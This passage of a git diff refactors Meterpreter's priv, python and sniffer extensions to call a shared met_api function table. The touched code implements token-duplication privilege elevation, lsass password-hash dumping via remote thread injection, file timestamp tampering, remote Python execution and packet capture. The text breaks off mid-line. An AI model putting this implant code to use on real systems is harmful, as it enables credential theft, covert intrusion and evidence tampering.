--git a/c/meterpreter/source/extensions/priv/server/elevate/tokendup.c b/c/meterpreter/source/extensions/priv/server/elevate/tokendup.c index 72907b88..69888df4 100644 --- a/c/meterpreter/source/extensions/priv/server/elevate/tokendup.c +++ b/c/meterpreter/source/extensions/priv/server/elevate/tokendup.c @@ -1,4 +1,5 @@ #include "precomp.h" +#include "common_metapi.h" #include "tokendup.h" #include "../../../../ReflectiveDLLInjection/inject/src/LoadLibraryR.h" @@ -89,9 +90,9 @@ DWORD elevate_via_service_tokendup( Remote * remote, Packet * packet ) if ( os.dwMajorVersion == 4 && os.dwMinorVersion == 0 ) BREAK_WITH_ERROR( "[ELEVATE] elevate_via_service_debug: Not yet supported on this platform.", ERROR_BAD_ENVIRONMENT ) - cpServiceName = packet_get_tlv_value_string( packet, TLV_TYPE_ELEVATE_SERVICE_NAME ); - dwServiceLength = packet_get_tlv_value_uint( packet, TLV_TYPE_ELEVATE_SERVICE_LENGTH ); - lpServiceBuffer = packet_get_tlv_value_string( packet, TLV_TYPE_ELEVATE_SERVICE_DLL ); + cpServiceName = met_api->packet.get_tlv_value_string( packet, TLV_TYPE_ELEVATE_SERVICE_NAME ); + dwServiceLength = met_api->packet.get_tlv_value_uint( packet, TLV_TYPE_ELEVATE_SERVICE_LENGTH ); + lpServiceBuffer = met_api->packet.get_tlv_value_string( packet, TLV_TYPE_ELEVATE_SERVICE_DLL ); if( !dwServiceLength || !lpServiceBuffer ) BREAK_WITH_ERROR( "[ELEVATE] elevate_via_service_debug. invalid arguments", ERROR_BAD_ARGUMENTS ); @@ -173,7 +174,7 @@ DWORD elevate_via_service_tokendup( Remote * remote, Packet * packet ) if( DuplicateToken( hToken, SecurityImpersonation, &hTokenDup ) ) { - core_update_thread_token( remote, hTokenDup ); + met_api->thread.update_token( remote, hTokenDup ); dwResult = ERROR_SUCCESS; break; } diff --git a/c/meterpreter/source/extensions/priv/server/fs.c b/c/meterpreter/source/extensions/priv/server/fs.c index ae4a02cb..8c6c8a15 100644 --- a/c/meterpreter/source/extensions/priv/server/fs.c +++ b/c/meterpreter/source/extensions/priv/server/fs.c @@ -1,5 +1,5 @@ #include "precomp.h" - +#include "common_metapi.h" #include #include #include "defs.h" @@ -72,7 +72,7 @@ HANDLE FileOpen(char *filename) return NULL; } - wchar_t *name = utf8_to_wchar(filename); + wchar_t *name = met_api->string.utf8_to_wchar(filename); if (name == NULL) { return NULL; } @@ -235,8 +235,8 @@ int SetDirectoryTimesRecursive(wchar_t *directory, SYSTEMTIME time, int depth) DWORD request_fs_get_file_mace(Remote *remote, Packet *packet) { SYSTEMTIME lt; - Packet *response = packet_create_response(packet); - HANDLE file = FileOpen(packet_get_tlv_value_string(packet, TLV_TYPE_FS_FILE_PATH)); + Packet *response = met_api->packet.create_response(packet); + HANDLE file = FileOpen(met_api->packet.get_tlv_value_string(packet, TLV_TYPE_FS_FILE_PATH)); if (file == NULL) { SetLastError(ERROR_INVALID_PARAMETER); @@ -263,7 +263,7 @@ DWORD request_fs_get_file_mace(Remote *remote, Packet *packet) if (LargeIntegerToSystemTime(<, *fields[i].ft) == 0) { SystemTimeToEpochTime(<, &epoch); - packet_add_tlv_uint(response, fields[i].tlv, (UINT)epoch); + met_api->packet.add_tlv_uint(response, fields[i].tlv, (UINT)epoch); } } @@ -271,15 +271,15 @@ DWORD request_fs_get_file_mace(Remote *remote, Packet *packet) err: FileClose(file); - packet_transmit_response(GetLastError(), remote, response); + met_api->packet.transmit_response(GetLastError(), remote, response); return ERROR_SUCCESS; } DWORD request_fs_set_file_mace(Remote *remote, Packet *packet) { - Packet *response = packet_create_response(packet); + Packet *response = met_api->packet.create_response(packet); - HANDLE file = FileOpen(packet_get_tlv_value_string(packet, TLV_TYPE_FS_FILE_PATH)); + HANDLE file = FileOpen(met_api->packet.get_tlv_value_string(packet, TLV_TYPE_FS_FILE_PATH)); if (!file) { SetLastError(ERROR_INVALID_PARAMETER); goto out; @@ -300,7 +300,7 @@ DWORD request_fs_set_file_mace(Remote *remote, Packet *packet) { &fbi.ChangeTime, TLV_TYPE_FS_FILE_EMODIFIED }, }; for (int i = 0; i < 4; i++) { - time_t epoch = packet_get_tlv_value_uint(packet, (TlvType)fields[i].tlv); + time_t epoch = met_api->packet.get_tlv_value_uint(packet, (TlvType)fields[i].tlv); if (epoch) { SYSTEMTIME st; EpochTimeToSystemTime(epoch, &st); @@ -316,16 +316,16 @@ DWORD request_fs_set_file_mace(Remote *remote, Packet *packet) out: FileClose(file); - packet_transmit_response(GetLastError(), remote, response); + met_api->packet.transmit_response(GetLastError(), remote, response); return ERROR_SUCCESS; } DWORD request_fs_set_file_mace_from_file(Remote *remote, Packet *packet) { - Packet *response = packet_create_response(packet); + Packet *response = met_api->packet.create_response(packet); - HANDLE tgtFile = FileOpen(packet_get_tlv_value_string(packet, TLV_TYPE_FS_FILE_PATH)); - HANDLE srcFile = FileOpen(packet_get_tlv_value_string(packet, TLV_TYPE_FS_SRC_FILE_PATH)); + HANDLE tgtFile = FileOpen(met_api->packet.get_tlv_value_string(packet, TLV_TYPE_FS_FILE_PATH)); + HANDLE srcFile = FileOpen(met_api->packet.get_tlv_value_string(packet, TLV_TYPE_FS_SRC_FILE_PATH)); if (tgtFile == NULL || srcFile == NULL) { goto out; } @@ -353,7 +353,7 @@ out: FileClose(srcFile); FileClose(tgtFile); - packet_transmit_response(GetLastError(), remote, response); + met_api->packet.transmit_response(GetLastError(), remote, response); return ERROR_SUCCESS; } @@ -370,9 +370,9 @@ static SYSTEMTIME epoch = { DWORD request_fs_blank_file_mace(Remote *remote, Packet *packet) { - Packet *response = packet_create_response(packet); + Packet *response = met_api->packet.create_response(packet); - HANDLE file = FileOpen(packet_get_tlv_value_string(packet, TLV_TYPE_FS_FILE_PATH)); + HANDLE file = FileOpen(met_api->packet.get_tlv_value_string(packet, TLV_TYPE_FS_FILE_PATH)); if (!file) { SetLastError(ERROR_INVALID_PARAMETER); goto out; @@ -386,14 +386,14 @@ DWORD request_fs_blank_file_mace(Remote *remote, Packet *packet) out: FileClose(file); - packet_transmit_response(GetLastError(), remote, response); + met_api->packet.transmit_response(GetLastError(), remote, response); return ERROR_SUCCESS; } DWORD request_fs_blank_directory_mace(Remote *remote, Packet *packet) { - Packet *response = packet_create_response(packet); - wchar_t *filePath = utf8_to_wchar(packet_get_tlv_value_string(packet, TLV_TYPE_FS_FILE_PATH)); + Packet *response = met_api->packet.create_response(packet); + wchar_t *filePath = met_api->string.utf8_to_wchar(met_api->packet.get_tlv_value_string(packet, TLV_TYPE_FS_FILE_PATH)); if (filePath == NULL) { SetLastError(ERROR_INVALID_PARAMETER); @@ -408,6 +408,6 @@ DWORD request_fs_blank_directory_mace(Remote *remote, Packet *packet) out: free(filePath); - packet_transmit_response(GetLastError(), remote, response); + met_api->packet.transmit_response(GetLastError(), remote, response); return ERROR_SUCCESS; } diff --git a/c/meterpreter/source/extensions/priv/server/passwd.c b/c/meterpreter/source/extensions/priv/server/passwd.c index dc039fe9..78ab827a 100644 --- a/c/meterpreter/source/extensions/priv/server/passwd.c +++ b/c/meterpreter/source/extensions/priv/server/passwd.c @@ -3,6 +3,7 @@ * @brief Functionality for dumping password hashes from lsass.exe. */ #include "precomp.h" +#include "common_metapi.h" #include #include #include @@ -776,7 +777,7 @@ DWORD __declspec(dllexport) control(DWORD dwMillisecondsToWait, char **hashresul sBytesWritten = 0; /* start the remote thread */ - if ((hThreadHandle = create_remote_thread(hLsassHandle, 0, pvFunctionMemory, pvParameterMemory, 0, NULL)) == NULL) + if ((hThreadHandle = met_api->thread.create_remote(hLsassHandle, 0, pvFunctionMemory, pvParameterMemory, 0, NULL)) == NULL) { dwError = GetLastError(); dprintf("[PASSWD] Failed to create remote thread %u (%x)", dwError, dwError); @@ -970,7 +971,7 @@ DWORD __declspec(dllexport) control(DWORD dwMillisecondsToWait, char **hashresul */ DWORD request_passwd_get_sam_hashes(Remote *remote, Packet *packet) { - Packet *response = packet_create_response(packet); + Packet *response = met_api->packet.create_response(packet); DWORD res = ERROR_SUCCESS; char *hashes = NULL; @@ -983,11 +984,11 @@ DWORD request_passwd_get_sam_hashes(Remote *remote, Packet *packet) break; } - packet_add_tlv_string(response, TLV_TYPE_SAM_HASHES, hashes); + met_api->packet.add_tlv_string(response, TLV_TYPE_SAM_HASHES, hashes); } while (0); - packet_transmit_response(res, remote, response); + met_api->packet.transmit_response(res, remote, response); if (hashes) { diff --git a/c/meterpreter/source/extensions/priv/server/precomp.h b/c/meterpreter/source/extensions/priv/server/precomp.h index f6e75340..5dc5fde0 100644 --- a/c/meterpreter/source/extensions/priv/server/precomp.h +++ b/c/meterpreter/source/extensions/priv/server/precomp.h @@ -6,9 +6,7 @@ #include "./elevate/elevate.h" #include "passwd.h" #include "fs.h" -#include "../../../common//arch/win/remote_thread.h" -#include "../../../DelayLoadMetSrv/DelayLoadMetSrv.h" #include "../../../ReflectiveDLLInjection/inject/src/GetProcAddressR.h" #include "../../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.h" diff --git a/c/meterpreter/source/extensions/priv/server/priv.c b/c/meterpreter/source/extensions/priv/server/priv.c index 4a09d68b..f7bbf6a0 100644 --- a/c/meterpreter/source/extensions/priv/server/priv.c +++ b/c/meterpreter/source/extensions/priv/server/priv.c @@ -2,15 +2,13 @@ * @brief This module implements privilege escalation features. */ #include "precomp.h" +#include "common_metapi.h" + +// Required so that use of the API works. +MetApi* met_api = NULL; -// include the Reflectiveloader() function, we end up linking back to the metsrv.dll's Init function -// but this doesnt matter as we wont ever call DLL_METASPLOIT_ATTACH as that is only used by the -// second stage reflective dll inject payload and not the metsrv itself when it loads extensions. #include "../../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.c" -// this sets the delay load hook function, see DelayLoadMetSrv.h -EnableDelayLoadMetSrv(); - /*! * @brief `priv` extension dispatch table. */ @@ -28,16 +26,17 @@ Command customCommands[] = /*! * @brief Initialize the server extension. + * @param api Pointer to the Meterpreter API structure. * @param remote Pointer to the remote instance. * @return Indication of success or failure. */ -DWORD __declspec(dllexport) InitServerExtension(Remote *remote) +DWORD __declspec(dllexport) InitServerExtension(MetApi* api, Remote* remote) { - hMetSrv = remote->met_srv; + met_api = api; - command_register_all(customCommands); + met_api->command.register_all(customCommands); - return ERROR_SUCCESS; + return ERROR_SUCCESS; } /*! @@ -45,13 +44,14 @@ DWORD __declspec(dllexport) InitServerExtension(Remote *remote) * @param remote Pointer to the remote instance. * @return Indication of success or failure. */ -DWORD __declspec(dllexport) DeinitServerExtension(Remote *remote) +DWORD __declspec(dllexport) DeinitServerExtension(Remote* remote) { - command_deregister_all(customCommands); + met_api->command.deregister_all(customCommands); - return ERROR_SUCCESS; + return ERROR_SUCCESS; } + /*! * @brief Get the name of the extension. * @param buffer Pointer to the buffer to write the name to. diff --git a/c/meterpreter/source/extensions/python/python_commands.c b/c/meterpreter/source/extensions/python/python_commands.c index ef0f961c..95062fce 100755 --- a/c/meterpreter/source/extensions/python/python_commands.c +++ b/c/meterpreter/source/extensions/python/python_commands.c @@ -8,6 +8,7 @@ #include "python_commands.h" #include "python_meterpreter_binding.h" #include "Resource Files/python_core.rh" +#include "common_metapi.h" ///! @brief Struct that contains pointer to init function and name. typedef struct _InitFunc @@ -155,7 +156,7 @@ static PyObject* handle_write(LIST* target, PyObject* self, PyObject* args) dprintf("[PYTHON] something written to %p: %s", target, written); if (target != NULL) { - list_add(target, strdup(written)); + met_api->list.add(target, strdup(written)); } } else @@ -198,23 +199,23 @@ static PyMethodDef meterpreter_stderr_hooks[] = static VOID dump_to_packet(LIST* source, Packet* packet, UINT tlvType) { - lock_acquire(source->lock); + met_api->lock.acquire(source->lock); PNODE current = source->start; while (current != NULL) { - packet_add_tlv_string(packet, tlvType, (LPCSTR)current->data); + met_api->packet.add_tlv_string(packet, tlvType, (LPCSTR)current->data); current = current->next; } - lock_release(source->lock); + met_api->lock.release(source->lock); } VOID clear_std_handler(LIST* source) { dprintf("[PYTHON] clearing list %p", source); - list_clear(source, free); + met_api->list.clear(source, free); dprintf("[PYTHON] cleared list %p", source); } @@ -223,11 +224,11 @@ VOID initialize_std_handlers() dprintf("[PYTHON] initializing handlers"); if (stderrBuffer == NULL) { - stderrBuffer = list_create(); + stderrBuffer = met_api->list.create(); } if (stdoutBuffer == NULL) { - stdoutBuffer = list_create(); + stdoutBuffer = met_api->list.create(); } dprintf("[PYTHON] initialized handlers"); } @@ -236,10 +237,10 @@ VOID destroy_std_handlers() { dprintf("[PYTHON] destroying handlers"); clear_std_handler(stderrBuffer); - list_destroy(stderrBuffer); + met_api->list.destroy(stderrBuffer); stderrBuffer = NULL; clear_std_handler(stdoutBuffer); - list_destroy(stdoutBuffer); + met_api->list.destroy(stdoutBuffer); stdoutBuffer = NULL; dprintf("[PYTHON] destroyed handlers"); } @@ -405,7 +406,7 @@ DWORD request_python_reset(Remote* remote, Packet* packet) Py_Finalize(); Py_Initialize(); python_prepare_session(); - packet_transmit_empty_response(remote, packet, ERROR_SUCCESS); + met_api->packet.transmit_empty_response(remote, packet, ERROR_SUCCESS); return ERROR_SUCCESS; } @@ -460,12 +461,12 @@ VOID python_execute(CHAR* modName, LPBYTE pythonCode, DWORD codeLength, UINT cod if (PyString_Check(result)) { // result is already a string - packet_add_tlv_string(responsePacket, TLV_TYPE_EXTENSION_PYTHON_RESULT, PyString_AsString(result)); + met_api->packet.add_tlv_string(responsePacket, TLV_TYPE_EXTENSION_PYTHON_RESULT, PyString_AsString(result)); } else { PyObject* resultStr = PyObject_Str(result); - packet_add_tlv_string(responsePacket, TLV_TYPE_EXTENSION_PYTHON_RESULT, PyString_AsString(resultStr)); + met_api->packet.add_tlv_string(responsePacket, TLV_TYPE_EXTENSION_PYTHON_RESULT, PyString_AsString(resultStr)); Py_DECREF(resultStr); } } @@ -482,18 +483,18 @@ VOID python_execute(CHAR* modName, LPBYTE pythonCode, DWORD codeLength, UINT cod DWORD request_python_execute(Remote* remote, Packet* packet) { DWORD dwResult = ERROR_SUCCESS; - Packet* response = packet_create_response(packet); - LPBYTE pythonCode = packet_get_tlv_value_raw(packet, TLV_TYPE_EXTENSION_PYTHON_CODE); + Packet* response = met_api->packet.create_response(packet); + LPBYTE pythonCode = met_api->packet.get_tlv_value_raw(packet, TLV_TYPE_EXTENSION_PYTHON_CODE); PyObject* mainModule = PyImport_AddModule("__main__"); PyObject* mainDict = PyModule_GetDict(mainModule); if (pythonCode != NULL) { - UINT codeType = packet_get_tlv_value_uint(packet, TLV_TYPE_EXTENSION_PYTHON_CODE_TYPE); - CHAR* modName = packet_get_tlv_value_string(packet, TLV_TYPE_EXTENSION_PYTHON_NAME); - UINT pythonCodeLength = packet_get_tlv_value_uint(packet, TLV_TYPE_EXTENSION_PYTHON_CODE_LEN); - CHAR* resultVar = packet_get_tlv_value_string(packet, TLV_TYPE_EXTENSION_PYTHON_RESULT_VAR); + UINT codeType = met_api->packet.get_tlv_value_uint(packet, TLV_TYPE_EXTENSION_PYTHON_CODE_TYPE); + CHAR* modName = met_api->packet.get_tlv_value_string(packet, TLV_TYPE_EXTENSION_PYTHON_NAME); + UINT pythonCodeLength = met_api->packet.get_tlv_value_uint(packet, TLV_TYPE_EXTENSION_PYTHON_CODE_LEN); + CHAR* resultVar = met_api->packet.get_tlv_value_string(packet, TLV_TYPE_EXTENSION_PYTHON_RESULT_VAR); python_execute(modName, pythonCode, pythonCodeLength, codeType, resultVar, response); dump_to_packet(stderrBuffer, response, TLV_TYPE_EXTENSION_PYTHON_STDERR); @@ -501,7 +502,7 @@ DWORD request_python_execute(Remote* remote, Packet* packet) dump_to_packet(stdoutBuffer, response, TLV_TYPE_EXTENSION_PYTHON_STDOUT); clear_std_handler(stdoutBuffer); - packet_transmit_response(dwResult, remote, response); + met_api->packet.transmit_response(dwResult, remote, response); } return dwResult; diff --git a/c/meterpreter/source/extensions/python/python_main.c b/c/meterpreter/source/extensions/python/python_main.c index 9b946ffc..02f66782 100755 --- a/c/meterpreter/source/extensions/python/python_main.c +++ b/c/meterpreter/source/extensions/python/python_main.c @@ -2,12 +2,12 @@ * @file python_main.c * @brief Entry point and intialisation definitions for the python extension. */ -#include "../../common/common.h" +#include "common.h" +#include "common_metapi.h" + +// Required so that use of the API works. +MetApi* met_api = NULL; -#include "../../DelayLoadMetSrv/DelayLoadMetSrv.h" -// include the Reflectiveloader() function, we end up linking back to the metsrv.dll's Init function -// but this doesnt matter as we wont ever call DLL_METASPLOIT_ATTACH as that is only used by the -// second stage reflective dll inject payload and not the metsrv itself when it loads extensions. #define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN #include "../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.c" @@ -20,9 +20,6 @@ extern BOOL WINAPI CtypesDllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpv Remote* gRemote = NULL; -// this sets the delay load hook function, see DelayLoadMetSrv.h -EnableDelayLoadMetSrv(); - /*! @brief List of commands that the extended API extension providers. */ Command customCommands[] = { @@ -67,12 +64,15 @@ VOID __declspec(dllexport) CommandAdded(const char* commandName) /*! * @brief Initialize the server extension. + * @param api Pointer to the Meterpreter API structure. * @param remote Pointer to the remote instance. * @return Indication of success or failure. */ -DWORD __declspec(dllexport) InitServerExtension(Remote *remote) +DWORD __declspec(dllexport) InitServerExtension(MetApi* api, Remote* remote) { - hMetSrv = remote->met_srv; + met_api = api; + + met_api->command.register_all(customCommands); gRemote = remote; dprintf("[PYTHON] Initialising"); @@ -80,7 +80,7 @@ DWORD __declspec(dllexport) InitServerExtension(Remote *remote) python_prepare_session(); dprintf("[PYTHON] Registering commands"); - command_register_all(customCommands); + met_api->command.register_all(customCommands); return ERROR_SUCCESS; } @@ -92,7 +92,7 @@ DWORD __declspec(dllexport) InitServerExtension(Remote *remote) */ DWORD __declspec(dllexport) DeinitServerExtension(Remote *remote) { - command_deregister_all(customCommands); + met_api->command.deregister_all(customCommands); python_destroy_session(); diff --git a/c/meterpreter/source/extensions/python/python_meterpreter_binding.c b/c/meterpreter/source/extensions/python/python_meterpreter_binding.c index c610a444..1a4ab7f5 100755 --- a/c/meterpreter/source/extensions/python/python_meterpreter_binding.c +++ b/c/meterpreter/source/extensions/python/python_meterpreter_binding.c @@ -2,7 +2,8 @@ * @file python_meterpreter_binding.c * @brief Definitions for functions that support meterpreter bindings. */ -#include "../../common/common.h" +#include "common.h" +#include "common_metapi.h" #include "python_main.h" #include "Python.h" @@ -31,7 +32,7 @@ static PyObject* binding_invoke(PyObject* self, PyObject* args) // and so that the packet doesn't get sent to Meterpreter packet.local = isLocal; - command_handle(gRemote, &packet); + met_api->command.handle(gRemote, &packet); // really not sure how to deal with the non-local responses at this point. if (packet.partner == NULL) @@ -41,7 +42,7 @@ static PyObject* binding_invoke(PyObject* self, PyObject* args) } PyObject* result = PyString_FromStringAndSize(packet.partner->payload, packet.partner->payloadLength); - packet_destroy(packet.partner); + met_api->packet.destroy(packet.partner); return result; } @@ -62,7 +63,7 @@ VOID binding_startup() { if (gBoundCommandList == NULL) { - gBoundCommandList = list_create(); + gBoundCommandList = met_api->list.create(); } } @@ -73,7 +74,7 @@ VOID binding_add_command(const char* commandName) // only add non-core commands if (_strnicmp("core_", commandName, 5) != 0) { - list_add(gBoundCommandList, (char*)commandName); + met_api->list.add(gBoundCommandList, (char*)commandName); binding_insert_command(commandName); } } diff --git a/c/meterpreter/source/extensions/sniffer/precomp.h b/c/meterpreter/source/extensions/sniffer/precomp.h index a0c2df87..dade3a14 100644 --- a/c/meterpreter/source/extensions/sniffer/precomp.h +++ b/c/meterpreter/source/extensions/sniffer/precomp.h @@ -5,7 +5,6 @@ #include "sniffer.h" -#include "../../DelayLoadMetSrv/DelayLoadMetSrv.h" #include "../../ReflectiveDLLInjection/inject/src/GetProcAddressR.h" #include "../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.h" diff --git a/c/meterpreter/source/extensions/sniffer/sniffer.c b/c/meterpreter/source/extensions/sniffer/sniffer.c index 2a9bc4ff..b90ce556 100644 --- a/c/meterpreter/source/extensions/sniffer/sniffer.c +++ b/c/meterpreter/source/extensions/sniffer/sniffer.c @@ -6,6 +6,10 @@ #define _CRT_SECURE_NO_DEPRECATE 1 #include "precomp.h" +#include "common_metapi.h" + +// Required so that use of the API works. +MetApi* met_api = NULL; DWORD request_sniffer_interfaces(Remote *remote, Packet *packet); DWORD request_sniffer_capture_start(Remote *remote, Packet *packet); @@ -33,13 +37,7 @@ Command customCommands[] = // second stage reflective dll inject payload and not the metsrv itself when it loads extensions. #include "../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.c" -// NOTE: _CRT_SECURE_NO_WARNINGS has been added to Configuration->C/C++->Preprocessor->Preprocessor - -// this sets the delay load hook function, see DelayLoadMetSrv.h -EnableDelayLoadMetSrv(); - - -#define check_pssdk(); if(!hMgr && pktsdk_initialize()!=0){packet_transmit_response(hErr, remote, response);return(hErr);} +#define check_pssdk(); if(!hMgr && pktsdk_initialize()!=0){ met_api->packet.transmit_response(hErr, remote, response);return(hErr); } HANDLE hMgr; DWORD hErr; @@ -114,7 +112,7 @@ DWORD pktsdk_initialize(void); DWORD request_sniffer_interfaces(Remote *remote, Packet *packet) { - Packet *response = packet_create_response(packet); + Packet *response = met_api->packet.create_response(packet); Tlv entries[8]; /* @@ -185,13 +183,13 @@ DWORD request_sniffer_interfaces(Remote *remote, Packet *packet) entries[7].header.length = sizeof(BOOL); entries[7].buffer = (PUCHAR)&adhcp; - packet_add_tlv_group(response, TLV_TYPE_SNIFFER_INTERFACES, entries, 8); + met_api->packet.add_tlv_group(response, TLV_TYPE_SNIFFER_INTERFACES, entries, 8); idx++; } while ((hCfg = MgrGetNextAdapterCfg(hMgr, hCfg)) != NULL); - packet_transmit_response(result, remote, response); + met_api->packet.transmit_response(result, remote, response); return ERROR_SUCCESS; } @@ -272,7 +270,7 @@ void __stdcall sniffer_receive(DWORD_PTR Param, DWORD_PTR ThParam, HANDLE hPacke // -- PKS, per job locking would be finer grained. // however, it probably doesn't matter. - lock_acquire(snifferm); + met_api->lock.acquire(snifferm); if (j->idx_pkts >= j->max_pkts) j->idx_pkts = 0; j->cur_pkts++; @@ -289,12 +287,12 @@ void __stdcall sniffer_receive(DWORD_PTR Param, DWORD_PTR ThParam, HANDLE hPacke j->pkts[j->idx_pkts] = pkt; j->idx_pkts++; - lock_release(snifferm); + met_api->lock.release(snifferm); } DWORD request_sniffer_capture_start(Remote *remote, Packet *packet) { - Packet *response = packet_create_response(packet); + Packet *response = met_api->packet.create_response(packet); unsigned int ifid; unsigned int maxp; CaptureJob *j; @@ -304,8 +302,8 @@ DWORD request_sniffer_capture_start(Remote *remote, Packet *packet) check_pssdk(); dprintf("sniffer>> start_capture()"); - ifid = packet_get_tlv_value_uint(packet, TLV_TYPE_SNIFFER_INTERFACE_ID); - maxp = packet_get_tlv_value_uint(packet, TLV_TYPE_SNIFFER_PACKET_COUNT); + ifid = met_api->packet.get_tlv_value_uint(packet, TLV_TYPE_SNIFFER_INTERFACE_ID); + maxp = met_api->packet.get_tlv_value_uint(packet, TLV_TYPE_SNIFFER_PACKET_COUNT); maxp = min(maxp, SNIFFER_MAX_QUEUE); maxp = max(maxp, 1); @@ -370,13 +368,13 @@ DWORD request_sniffer_capture_start(Remote *remote, Packet *packet) AdpSetMacFilter(j->adp, mfAll); } while (0); - packet_transmit_response(result, remote, response); + met_api->packet.transmit_response(result, remote, response); return ERROR_SUCCESS; } DWORD request_sniffer_capture_stop(Remote *remote, Packet *packet) { - Packet *response = packet_create_response(packet); + Packet *response = met_api->packet.create_response(packet); unsigned int ifid; CaptureJob *j; DWORD result; @@ -384,7 +382,7 @@ DWORD request_sniffer_capture_stop(Remote *remote, Packet *packet) check_pssdk(); dprintf("sniffer>> stop_capture()"); - ifid = packet_get_tlv_value_uint(packet, TLV_TYPE_SNIFFER_INTERFACE_ID); + ifid = met_api->packet.get_tlv_value_uint(packet, TLV_TYPE_SNIFFER_INTERFACE_ID); dprintf("sniffer>> stop_capture(0x%.8x)", ifid); result = ERROR_SUCCESS; @@ -407,28 +405,28 @@ DWORD request_sniffer_capture_stop(Remote *remote, Packet *packet) break; } - lock_acquire(snifferm); + met_api->lock.acquire(snifferm); j->active = 0; AdpSetMacFilter(j->adp, 0); AdpCloseAdapter(j->adp); AdpDestroy(j->adp); - packet_add_tlv_uint(response, TLV_TYPE_SNIFFER_PACKET_COUNT, j->cur_pkts); - packet_add_tlv_uint(response, TLV_TYPE_SNIFFER_BYTE_COUNT, (unsigned int)j->cur_bytes); + met_api->packet.add_tlv_uint(response, TLV_TYPE_SNIFFER_PACKET_COUNT, j->cur_pkts); + met_api->packet.add_tlv_uint(response, TLV_TYPE_SNIFFER_BYTE_COUNT, (unsigned int)j->cur_bytes); - lock_release(snifferm); + met_api->lock.release(snifferm); dprintf("sniffer>> stop_capture() interface %d processed %d packets/%d bytes", j->intf, j->cur_pkts, j->cur_bytes); } while (0); - packet_transmit_response(result, remote, response); + met_api->packet.transmit_response(result, remote, response); return ERROR_SUCCESS; } DWORD request_sniffer_capture_release(Remote *remote, Packet *packet) { - Packet *response = packet_create_response(packet); + Packet *response = met_api->packet.create_response(packet); unsigned int ifid, i; CaptureJob *j; DWORD result; @@ -437,7 +435,7 @@ DWORD request_sniffer_capture_release(Remote *remote, Packet *packet) check_pssdk(); dprintf("sniffer>> release_capture()"); - ifid = packet_get_tlv_value_uint(packet, TLV_TYPE_SNIFFER_INTERFACE_ID); + ifid = met_api->packet.get_tlv_value_uint(packet, TLV_TYPE_SNIFFER_INTERFACE_ID); dprintf("sniffer>> release_capture(0x%.8x)", ifid); result = ERROR_SUCCESS; @@ -461,10 +459,10 @@ DWORD request_sniffer_capture_release(Remote *remote, Packet *packet) break; } - lock_acquire(snifferm); + met_api->lock.acquire(snifferm); - packet_add_tlv_uint(response, TLV_TYPE_SNIFFER_PACKET_COUNT, j->cur_pkts); - packet_add_tlv_uint(response, TLV_TYPE_SNIFFER_BYTE_COUNT, (unsigned int)j->cur_bytes); + met_api->packet.add_tlv_uint(response, TLV_TYPE_SNIFFER_PACKET_COUNT, j->cur_pkts); + met_api->packet.add_tlv_uint(response, TLV_TYPE_SNIFFER_BYTE_COUNT, (unsigned int)j->cur_bytes); dprintf("sniffer>> release_capture() interface %d released %d packets/%d bytes", j->intf, j->cur_pkts, j->cur_bytes); for (i = 0; i < j->max_pkts; i++) @@ -478,18 +476,18 @@ DWORD request_sniffer_capture_release(Remote *remote, Packet *packet) free(j->pkts); memset(j, 0, sizeof(CaptureJob)); - lock_release(snifferm); + met_api->lock.release(snifferm); } while (0); - packet_transmit_response(result, remote, response); + met_api->packet.transmit_response(result, remote, response); return ERROR_SUCCESS; } DWORD request_sniffer_capture_stats(Remote *remote, Packet *packet) { - Packet *response = packet_create_response(packet); + Packet *response = met_api->packet.create_response(packet); unsigned int ifid; CaptureJob *j; DWORD result; @@ -497,7 +495,7 @@ DWORD request_sniffer_capture_stats(Remote *remote, Packet *packet) check_pssdk(); dprintf("sniffer>> capture_stats()"); - ifid = packet_get_tlv_value_uint(packet, TLV_TYPE_SNIFFER_INTERFACE_ID); + ifid = met_api->packet.get_tlv_value_uint(packet, TLV_TYPE_SNIFFER_INTERFACE_ID); dprintf("sniffer>> capture_stats(0x%.8x)", ifid); result = ERROR_SUCCESS; @@ -520,19 +518,19 @@ DWORD request_sniffer_capture_stats(Remote *remote, Packet *packet) break; } - lock_acquire(snifferm); - packet_add_tlv_uint(response, TLV_TYPE_SNIFFER_PACKET_COUNT, j->cur_pkts); - packet_add_tlv_uint(response, TLV_TYPE_SNIFFER_BYTE_COUNT, (unsigned int)j->cur_bytes); - lock_release(snifferm); + met_api->lock.acquire(snifferm); + met_api->packet.add_tlv_uint(response, TLV_TYPE_SNIFFER_PACKET_COUNT, j->cur_pkts); + met_api->packet.add_tlv_uint(response, TLV_TYPE_SNIFFER_BYTE_COUNT, (unsigned int)j->cur_bytes); + met_api->lock.release(snifferm); } while (0); - packet_transmit_response(result, remote, response); + met_api->packet.transmit_response(result, remote, response); return ERROR_SUCCESS; } DWORD request_sniffer_capture_dump_read(Remote *remote, Packet *packet) { - Packet *response = packet_create_response(packet); + Packet *response = met_api->packet.create_response(packet); unsigned int ifid, i; unsigned int bcnt; CaptureJob *j; @@ -541,8 +539,8 @@ DWORD request_sniffer_capture_dump_read(Remote *remote, Packet *packet) check_pssdk(); dprintf("sniffer>> capture_dump_read()"); - ifid = packet_get_tlv_value_uint(packet, TLV_TYPE_SNIFFER_INTERFACE_ID); - bcnt = packet_get_tlv_value_uint(packet, TLV_TYPE_SNIFFER_BYTE_COUNT); + ifid = met_api->packet.get_tlv_value_uint(packet, TLV_TYPE_SNIFFER_INTERFACE_ID); + bcnt = met_api->packet.get_tlv_value_uint(packet, TLV_TYPE_SNIFFER_BYTE_COUNT); bcnt = min(bcnt, 32 * 1024 * 1024); dprintf("sniffer>> capture_dump_read(0x%.8x, %d)", ifid, bcnt); @@ -554,7 +552,7 @@ DWORD request_sniffer_capture_dump_read(Remote *remote, Packet *packet) // the interface is invalid if (ifid == 0 || ifid >= SNIFFER_MAX_INTERFACES) { - packet_add_tlv_uint(response, TLV_TYPE_SNIFFER_BYTE_COUNT, 0); + met_api->packet.add_tlv_uint(response, TLV_TYPE_SNIFFER_BYTE_COUNT, 0); goto fail; } @@ -562,7 +560,7 @@ DWORD request_sniffer_capture_dump_read(Remote *remote, Packet *packet) if (!j->dbuf) { - packet_add_tlv_uint(response, TLV_TYPE_SNIFFER_BYTE_COUNT, 0); + met_api->packet.add_tlv_uint(response, 